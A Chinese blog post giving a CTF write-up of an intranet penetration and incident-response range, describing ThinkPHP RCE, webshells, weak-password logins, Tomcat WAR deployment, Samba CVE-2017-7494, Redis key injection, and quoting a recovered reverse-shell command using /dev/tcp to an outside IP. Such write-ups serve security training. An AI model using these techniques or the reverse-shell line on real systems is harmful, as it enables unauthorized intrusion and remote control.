某CTF线上初赛综合靶场渗透应急write up

已于 2024-08-12 16:33:36 修改
阅读量922 收藏 8
点赞数 7
分类专栏： CTF 文章标签： web安全
于 2024-08-12 16:17:29 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42050681/article/details/141134211
版权

本文作者：宇航@涂鸦智能安全实验室

前言

本次比赛使用的环境是内网综合靶场环境，与以往CTF赛事内涉及的纯web不同，本次比赛考察点在于模拟真实环境进行的内网渗透和应急响应。赛制还是挺有意思的。

web

web题目均为对整套环境进行渗透和内网横向，如下：

在这里插入图片描述

在横向过程中可获取到flag1~flag10。再对其进行提交即可。

web1

访问系统可知，其为thinkphp

在这里插入图片描述

对其进行信息收集，可得到robots.txt，访问可得到flag1
在这里插入图片描述

web2

前期进行信息收集可知道其使用的thinkphp，尝试使用其rce漏洞进行利用：
在这里插入图片描述

直接进行webshell写入，在根目录访问文件拿到flag2

在这里插入图片描述

此时获取到入口机器权限后，可进行命令执行并对内网进行扫描，但大部分命令无法回显，例如ifconfig等均无法回显，原因是docker环境，对于这些命令没有进行安装。此时可利用查看hosts文件的技巧进行ip地址信息收集

在这里插入图片描述

可获取到内网ip 192.168.xx.23，对xx段进行扫描，机器禁ping，需要使用-np命令

在这里插入图片描述

最终扫描192.168.xx段，得到以上结果。由于入口机器大部分命令无法执行，且不知其是否出网，因此采用了Neo-reGeorg进行正向代理。

web3

根据扫描的结果，我们可以看到存在nacos。在内网渗透中，nacos常用于配置文件的存储，往往能发现大量账号密码。直接进行访问，可采用弱口令nacos/nacos进行登录

在这里插入图片描述

登陆后可看到flag3

在这里插入图片描述

同时我们还可信息收集得到以下账号和密码

在这里插入图片描述

admin/*****3qwe

在这里插入图片描述

admin/*****3qwe!@#

web4

利用前期收集到的口令admin/*****3qwe，成功登录tomcat后台

在这里插入图片描述

对后台进行war包部署getshell，可获取到flag4

在这里插入图片描述

web5

利用前期收集到的口令admin/*****3qwe!@#对内网进行撞库，可获取到一台ssh权限：

在这里插入图片描述

登录可获取flag5

在这里插入图片描述

web6

由于web5获取到的只是admin权限，我们可以尝试使用sudo su 提权获取到系统root权限

获取到flag6

在这里插入图片描述

web7

扫描结果中存在一个445端口，该端口为是linux的samba服务，使用is_known_pipename模块相关漏洞CVE-2017-7494直接进行利用即可

在这里插入图片描述

成功获取到root权限，并获取到flag7

在这里插入图片描述

web8

在扫描结果中，还存在一个redis未授权，可利用mdut直接进行linux公钥写入

在这里插入图片描述

接着我们再用私钥进行连接可获取到flag8

在这里插入图片描述

web9

在web7中获取到的权限，查看history历史命令记录中可发现还存在一个ssh密钥

在这里插入图片描述

我们利用该密钥可成功登录扫描结果中从未拿下的一台机器192.168.xx.99

可获取到flag9

在这里插入图片描述

并拿到了secret.zip

web10

对secret.zip进行爆破：

在这里插入图片描述

可爆破得到密码laptop，打开获取到flag10

在这里插入图片描述

应急响应

应急1

需要找到机器上存在的后门，在入口的点webshell上发现预留的木马文件：

在这里插入图片描述

密码为DAS

应急2

利用权限绕过漏洞，获取到nacos系统存在的用户dasctftest

在这里插入图片描述

应急3

在tomcat机器上找到预留的后门文件，dasctfshell.jsp

在这里插入图片描述

应急4

在tomcat机器上找到预留反弹shell命令：

在这里插入图片描述

历史命令解密后：bash -i >& /dev/tcp/116.xx.xx.129/8888 0>&1

漏洞悬赏计划：涂鸦智能安全响应中心（https://src.tuya.com）欢迎白帽子来探索。

sec_yuhang
关注
专栏目录
全！CTF靶场、渗透实战靶场总结 (适合收藏)
Appleteachers的博客
05-20 3万+
CTF靶场、渗透实战靶场总结 (适合收藏) CTF靶场：CTF刷题，在校生备战CTF比赛，信安入门、提升自己、丰富简历之必备（一场比赛打出好成绩，可以让你轻松进大厂，如近期的美团杯）； 渗透实战靶场：挖洞、渗透实战（web、域、横向渗透），适合实战能力需要大幅度提升的同学。 目录 ▶0x01 CTF赛事发布网站 ▶0x02 CTF在线靶场 ▶0x03 漏洞靶场（本地搭建） ▶0x04 渗透实战靶场 0x01 CTF赛事发布网站 i春秋和XCTF社区经常会发布各类CTF赛事 i春秋: https://www.
CTF—WEB渗透
Auscoo111的博客
09-18 2787
CTF—WEB渗透 1.view_source 看题目就知道这应该是看源码就能找到flag。 打开后我们发现不能右击查看源码，那么我们F12，在查看器里发现flag。所以提交cyberpeace{e1f66c0513b6d331cd2932f6b51f2769} 方法： 1.摁F12 2.用burp抓包 3.view-source:ip:端口 2.robots 作为一个web狗，...
2024闽盾杯-黑盾赛道CTF初赛部分WP
最新发布
swordcloud_xm的博客
07-22 740
在当今数字化时代，网络安全已成为全球关注的焦点。随着技术的发展，网络攻击手段日益复杂化，这不仅对个人用户，也对企业乃至国家安全构成了严峻挑战。为了应对这些挑战，培养网络安全人才，提高公众的安全意识和技能，各类网络安全竞赛应运而生。"闽盾杯-黑盾赛道CTF初赛"正是在这样的背景下举办的一次重要赛事。CTF，即Capture The Flag，是一种流行的网络安全竞赛形式，它通过模拟真实环境下的攻防对抗，考验参赛者的网络安全知识和实战技能。本次赛事吸引了众多网络安全爱好者和专业人士的参与。
在线CTF靶场
wmr123456001的博客
02-12 606
在线CTF靶场
计算机网络安全技术：在线CTF靶场.pdf
05-12
在线CTF靶场介绍与体验 CTF （Capture The Flag）中文一般译作夺旗赛，在网络安 全领域中指的是网络安全技术人员之间进行技术竞技的一种比 赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之 前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成 为全球范围网络安全圈流行的竞赛形式，2013 年全球举办了超 过五十场国际性CTF 赛事。而DEFCON 作为CTF 赛制的发源地， DEFCON CTF 也成为了全球最高技术水平和影响力的CTF 竞赛， 类似于CTF赛场中的 “世界杯”。 在线CTF靶场介绍与体验 CTF ： 在网络安全领域中指的是网络安全技术人员之间进行竞技 的一种比赛形式。 起源于1996年全球黑客大会，互相发起真实的攻击，最终 拿到对方的一些权限，然后把他们的一些标志提交到服务器上 的得分。 在线CTF靶场介绍与体验 CTF 比赛具体是分为几个解题的类别： 壹 软件的逆向破解等。 PWN ，PWNN 也是比较考验编程能力， 贰 在后期都是需要写一些脚本，去对一个漏 洞的利用，然后获得一个答案。 叁 web ，web 方面是CTF一个主要的
CTF在线靶场聚集
2302_78903258的博客
06-12 467
针对小伙伴们刚学CTF或者没学过CTF的，我列举了一些国内大学生常用的一些靶场，便于同学们练习，不同靶场难度可能不一样，大家都去练一练，选择适合自己的靶场即可。以下是一些CTF学习书籍和工具，如果没找到对自己有用的，大家可以在。此网站下搜索自己想要的工具。
网络安全ctf比赛_学习资源整理，解题工具、比赛时间、解题思路、实战靶场、学习路线，推荐收藏！
qq_44005305的博客
11-12 324
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
CTF - 第二届“陇剑杯”网络安全大赛线上赛部分write up
08-26
CTF-第二届“陇剑杯”网络安全大赛线上赛部分write up 本篇文章将围绕第二届“陇剑杯”网络安全大赛线上赛的 Write-up 进行详细的讲解，从中可以学到许多实用的网络安全知识。 首先，我们来看一下第一个题目，黑客...
2019 CTF题目下载及write up（难度较大）-b64_c3VuJTIwYm95-it720.docx
11-29
- 官方和社区网站如Anquanke、XunZhiyun等提供了很多公开的Write-up（解题报告），是学习和准备CTF比赛的重要资源。 总的来说，CTF比赛不仅考验参赛者的安全技能，还锻炼了他们在实际环境中应用这些技能的能力。...
CTF-Write-up:CTF撰写和信息
03-21
CTF Write-up，即CTF比赛的解题报告，是参赛者在解决完挑战后，为了分享经验、帮助他人理解解题思路而撰写的详细步骤记录。一份优秀的CTF Write-up通常包括以下几个部分： 1. **挑战概述**：简述挑战的主题、目标和...
2021年津门杯ctf线上赛记录（WICCTF）
lifanxin的博客
05-12 1998
津门杯ctf线上赛概述pwn题easypwnpwnCTFM总结 概述   本篇博客记录下自己的第一次ctf比赛经历，其实不完全是第一次，之前也参加过其他比赛，但只能做个签到就走了，这次不一样了，好歹做出了一道pwn题，有一道本来是有机会的，搞错libc了，线上没拿到flag，不过线上复现了下，感觉还行。因此特写下此篇博文，记录自己的一血。???? pwn题   我个人现在只会做做pwn题，后面打算也看看web，提升一下综合实力，这里介绍下比赛中的两道pwn题，和官方wp不一样，这里是我自己的思路。 easy
优秀运维脚本
小司机的奥拓
04-16 793
会显示出该进程名包含的所有线程。
【护网急训】应急响应靶场集，24年想参加hvv的同学抓紧练习吧。
小司机的奥拓
06-03 991
除了包含技术干货：Java代码审计、web安全、应急响应等，还包含了安全中常见的售前护网案例、售前方案、ppt等，同时也有面向学生的网络安全面试、护网面试等。护网中最重要的就是通过各类安全设备进行监控，过滤掉告警误报，进而发现真正的告警进行应急响应，减少扣分。为了方便大家把熟练使用这些工具，将这些应急知识点使用到实际护网中，今天整理了市面上常见的应急靶机（哪些准备参加24年护网的同学抓紧来联系下吧）。
CTF靶场集合大放送（非常详细）零基础入门到精通，收藏这一篇就够了
logic1001的博客
04-01 2620
后续的主要关注点会在 vulfocus 和 RootTheBox 上。
CTFweb相关靶场推荐与环境配置
kingdring的博客
09-30 4925
ps：国庆假期少事情多就不更新了 今天来一波猛的 想起来没有给大家推荐过实战的平台 今天来安利一波 这篇很长 相比上一篇sqlmap的配置而言内容很多 有问题的小伙伴欢迎留言哦 在线练习平台 bugku XCTF攻防世界 比较基础的两个网站 题目有很多 并且网上有很多题目的write up 而且上面包含有其他类型的题目 大家可以都去体验一下 感受一下不同题目不同难度的魅力 本地主机搭建靶场 这部分重点说一下 总会有像我一样的一批人对网上的内容有一点芥蒂 比较喜欢在自己电脑上配置靶场的环境 让自己不受网络的
适合新手的CTF靶场合集
eli的博客
10-20 6860
CTF 比赛时间表 CTFwiki（入门必看wiki）:https://ctf-wiki.github.io/ctf-wiki/#/introduction XCTF社区：https://time.xctf.org.cn i春秋:https://www.ichunqiu.com/competition CTFrank:https://ctfrank.org/ CTFtime（基本...
【网络安全】适合新手的CTF靶场合集（非常详细）零基础入门到精通，收藏这一篇就够了
Python_paipai的博客
05-13 1013
经常会有粉丝朋友询问大白，如何打CTF比赛，有没有适合新手的CTF靶场？今天呢大白就给粉丝朋友分享一下，我整理得可能没有那么全，这里的合集主要还是面对新手。做题贵精不在多，好好练习每一题，学习每个知识点，不懂的百度或者 Google 即可。记住，你是为了提高自己而去打 CTF。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值